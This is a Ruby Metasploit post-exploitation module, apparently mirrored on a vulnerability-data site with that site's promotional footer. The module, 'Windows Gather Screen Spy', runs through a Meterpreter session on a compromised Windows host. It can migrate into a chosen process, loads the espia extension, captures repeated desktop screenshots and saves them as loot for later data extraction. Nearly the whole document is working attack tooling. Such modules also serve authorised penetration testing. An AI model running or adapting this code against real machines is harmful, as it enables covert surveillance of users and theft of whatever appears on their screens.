##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rbconfig'
class MetasploitModule < Msf::Post
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Screen Spy',
'Description' => %q{
This module will incrementally take desktop screenshots from the host. This
allows for screen spying which can be useful to determine if there is an active
user on a machine, or to record the screen for later data extraction.
Note: As of March, 2014, the VIEW_CMD option has been removed in
favor of the Boolean VIEW_SCREENSHOTS option, which will control if (but
not how) the collected screenshots will be viewed from the Metasploit
interface.
},
'License' => MSF_LICENSE,
'Author' => [
'Roni Bachar <roni.bachar.blog[at]gmail.com>', # original meterpreter script
'bannedit', # post module
'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>', # record/loot support,log x approach, nx
'Adrian Kubok', # better record file names
'DLL_Cool_J' # Specify PID to migrate into
],
'Platform' => ['win'], # @todo add support for posix meterpreter somehow?
'SessionTypes' => ['meterpreter'],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_migrate
]
}
}
)
)
register_options(
[
OptInt.new('DELAY', [true, 'Interval between screenshots in seconds', 5]),
OptInt.new('COUNT', [true, 'Number of screenshots to collect', 6]),
OptBool.new('VIEW_SCREENSHOTS', [false, 'View screenshots automatically', false]),
OptBool.new('RECORD', [true, 'Record all screenshots to disk by saving them to loot', true]),
OptString.new('PID', [false, 'PID to migrate into before taking the screenshots', ''])
]
)
end
def view_screenshots?
datastore['VIEW_SCREENSHOTS']
end
def record?
datastore['RECORD']
end
def run
host = session.session_host
screenshot = Msf::Config.config_directory + '/logs/' + host + '.jpg'
# If no PID is specified, don't migrate.
if datastore['PID'] != ''
migrate
end
if session.platform !~ /windows/i
print_error('Unsupported Platform')
return
end
begin
session.core.use('espia')
rescue ::Exception => e
print_error("Failed to load espia extension (#{e})")
return
end
begin
count = datastore['COUNT']
print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds"
# calculate a sane number of leading zeros to use. log of x is ~ the number of digits
leading_zeros = Math.log10(count).round
file_locations = []
count.times do |num|
select(nil, nil, nil, datastore['DELAY'])
begin
data = session.espia.espia_image_get_dev_screen
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Error taking the screenshot: #{e.class} #{e} #{e.backtrace}")
return false
end
if data
if record?
if framework.db.active
# let's loot it using non-clobbering filename, even tho this is the source filename, not dest
fn = "screenshot.%0#{leading_zeros}d.jpg" % num
file_locations << store_loot('screenspy.screenshot', 'image/jpg', session, data, fn, 'Screenshot')
else
print_error('RECORD flag specified however the database is not connected, so no loot can be stored!')
return false
end
end
# also write to disk temporarily so we can display in browser.
# They may or may not have been RECORDed.
# do this if they have not suppressed VIEW_SCREENSHOT display
if view_screenshots?
fd = ::File.new(screenshot, 'wb')
fd.write(data)
fd.close
end
end
if view_screenshots?
screenshot_path = "file://#{screenshot}"
Rex::Compat.open_browser(screenshot_path)
end
end
rescue IOError, Errno::ENOENT => e
print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}")
return
end
print_status('Screen Spying Complete')
if record? && framework.db.active && file_locations && !file_locations.empty?
print_status 'run loot -t screenspy.screenshot to see file locations of your newly acquired loot'
end
if view_screenshots?
# wait 2 secs so the last file can get opened before deletion
sleep 2
vprint_status "Deleting temporary screenshot file: #{screenshot}"
begin
::File.delete(screenshot)
rescue StandardError => e
print_error("Error deleting the temporary screenshot file: #{e.class} #{e} #{e.backtrace}")
print_error('This may be due to the file being in use if you are on a Windows platform')
end
end
end
def migrate
session.core.migrate(datastore['PID'].to_i)
print_good('Migration successful')
return datastore['PID']
rescue StandardError
fail_with(Failure::Unknown, 'Migration failed! Unable to take a screenshot under the desired process!')
return nil
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation